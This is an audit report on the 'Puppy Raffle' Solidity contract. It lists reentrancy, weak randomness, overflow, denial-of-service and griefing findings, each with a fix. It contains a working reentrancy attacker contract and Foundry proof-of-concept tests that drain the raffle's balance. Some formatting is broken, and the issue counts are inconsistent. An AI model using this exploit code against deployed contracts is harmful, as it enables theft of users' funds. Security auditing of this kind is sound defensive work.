Puppy Raffle Protocol Audit Report

Version 1.0

adebisiVince

September 6, 2025

Puppy Raffle Protocol Audit Report

adebisivince

Sept 6, 2025

Prepared by: Adebisi Lead Security reserachers: - adebisivince

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The adebisivince team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
	****	High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

```
- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
 PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

We spent 6 hours using foundry to audit the codebase.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `Puppyraffle::refund` function does not follow CEI (Checks Effect Interaction) as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making the external do we update the `PuppyRaffle::players` array

```
1         function refund(uint256 playerIndex) public {
2
3           address playerAddress = players[playerIndex];
4           require(
5               playerAddress == msg.sender,
6               "PuppyRaffle: Only the player can refund"
7           );
8           require(
9               playerAddress != address(0),
10              "PuppyRaffle: Player already refunded, or is not active"
11          );
12
13
14  @>          payable(msg.sender).sendValue(entranceFee);
15  @>          players[playerIndex] = address(0);
16
17          emit RaffleRefunded(playerAddress);
18      }
```

A players who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: A fees aid by raffle entrant could be stolen bymalicious participant.

Proof of Concept:

1. Users enters the raffle
2. attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from the attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1
2     function testReentrancyRefund() public {
3           address[] memory players = new address[](4);
4           players[0] = playerOne;
5           players[1] = playerTwo;
6           players[2] = playerThree;
7           players[3] = playerFour;
8           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10              puppyRaffle
11          );
12          address attackUser = makeAddr("attackUser");
13          vm.deal(attackUser, 1 ether);
14
15          uint256 startingAttackContractBalance = address(
                attackerContract)
16              .balance;
17          uint256 startingContractBalance = address(puppyRaffle).balance;
18
19          // attack
20          vm.prank(attackUser);
21          attackerContract.attack{value: entranceFee}();
22
23          console.log(
24              "starting attacker contract balance:",
25              startingAttackContractBalance
26          );
27
28          console.log("starting contract balance:",
                startingContractBalance);
29
30          console.log(
31              "ending Attacker balance:",
32              address(attackerContract).balance
33          );
34          console.log("ending contract balance:", address(puppyRaffle).
                balance);
35      }
```

And this contract as well “‘javascript

```
1  contract ReentrancyAttacker {
2  PuppyRaffle puppyRaffle;
3  uint256 entranceFee;
4  uint256 attackerIndex;
5
6  constructor(PuppyRaffle _puppyRaffle) {
7      puppyRaffle = _puppyRaffle;
8      entranceFee = puppyRaffle.entranceFee();
```

```
}

function attack() external payable {
    address[] memory players = new address[](1);
    players[0] = address(this);
    puppyRaffle.enterRaffle{value: entranceFee}(players);

    attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));

    puppyRaffle.refund(attackerIndex);
}

function _stealMoney() internal {
    if (address(puppyRaffle).balance >= entranceFee) {
        puppyRaffle.refund(attackerIndex);
    }
}

fallback() external payable {
    _stealMoney();
}

receive() external payable {
    _stealMoney();
}
```

}

```

</details>

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well


### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together create a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This means users could front-run this function and call `refund` if they see they are not the winner

**Impact:** Any user can influence the winner of the raffle, winning
```

```
    the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

**Proof of Concept:**
1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to prdict when/how to participate. see the [solidity blog on prevrandao](https://soliditydeveloper.com/prevrandao). `block.difficulty` was resently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector](https://betterprograming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as chainlink VRF.

### [H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees

**Description** In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```javascript
   uint64 myVar = type(uint64).max
      18446744073709551615
      myVar = myVar + 1
      myVar will be 0
```

Impact: In `PuppyRaffle::selectWinnerr`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`, However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract. **Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
    totalFees = totalFees + uint64(fee);
    // aka
    totalFees = 800000000000000000 + 1780000000000000000
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```
```

Although you could use `selfdestruct` to send Eth to this contract in ordr for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some poiny, there will be too much `balance` in the contract that the above will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }

</details>

**Recommended Mitigation:** There are a few possible mitigations.
1. Use a newer version of solidity `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of Openzeppelin for version 0.7.6 solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRafffle::withdrawFees`
```

```
39
40 ```diff
41 -    require(
42             address(this).balance == uint256(totalFees),
43             "PuppyRaffle: There are currently players active!"
44         );
```

THere are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be automatically lower than those who enter later. Every additional address in the `players` array, is an addititonal check the loop will have to make.

```
1 // @audit DoS Attack
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `Puppyraffle:entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: if we have 2 sets of 100 players enter, the gas cost will be as such : - 1st 100 player ~6252048 gas - 2nd 100 players ~18068138 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
1     function test_denialOfService() public {
2
```

```
        vm.txGasPrice(1);
        // lets enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // see how much gas it cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

// 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // see how much gas it cost
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;

        console.log("Gas cost of the first 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recomendations.

1. consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapple to check for duplicates. this would allow constant time lookup of whether a user has already entered

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
```

```
7           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8           require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for playersat index 0 , causing a player at index 0 to incorrectly think they have not enterrd the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1         function getActivePlayerIndex(
2           address player
3       ) external view returns (uint256) {
4           for (uint256 i = 0; i < players.length; i++) {
5               if (players[i] == player) {
6                   return i;
7               }
8           }
9           return 0;
10      }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation will be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the ffunction returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

consider using a specific version of Solidity in your contracts instead of a wide version. for example, instead of `pragma solidity ^0.8.0;`, use `pragma 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an updated version of solidity is not recommened.

solc frequently releases new compiler versions. Using an old version prevents access to ne wSolidity security checks. we also recommend avoiding complex pragma statement

Reommendation: Deploy with any of the following Solidity versions:

`0.8.18`

The recommendation take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

use a simple pragma version that allows any of these versions. consider using the latest version of solidity for testing.

Please see slither documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`. - Found in src/PuppyRaffle.sol: 8662:23:35 - Found in src/PuppyRaffle.sol: 3165:24:35 - Found in src/PuppyRaffle.sol: 9809:26:35

[I_4] `PuppyRaffle::selectwinner` does not follow CEI, which is not a best practice

It's best to keep code clean and folow CEI {Checks, Effects, Interaction}

```
-       (bool success, ) = winner.call{value: prizePool}("");
-      require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+      (bool success, ) = winner.call{value: prizePool}("");
+      require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmounCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) /100;
```

Instead you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant PERCENTAGE_PRECISION  = 100;
```

[I-6] State changes and missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] unchanged state variable should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `Puppyraffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`

[G-2] storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength  = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
```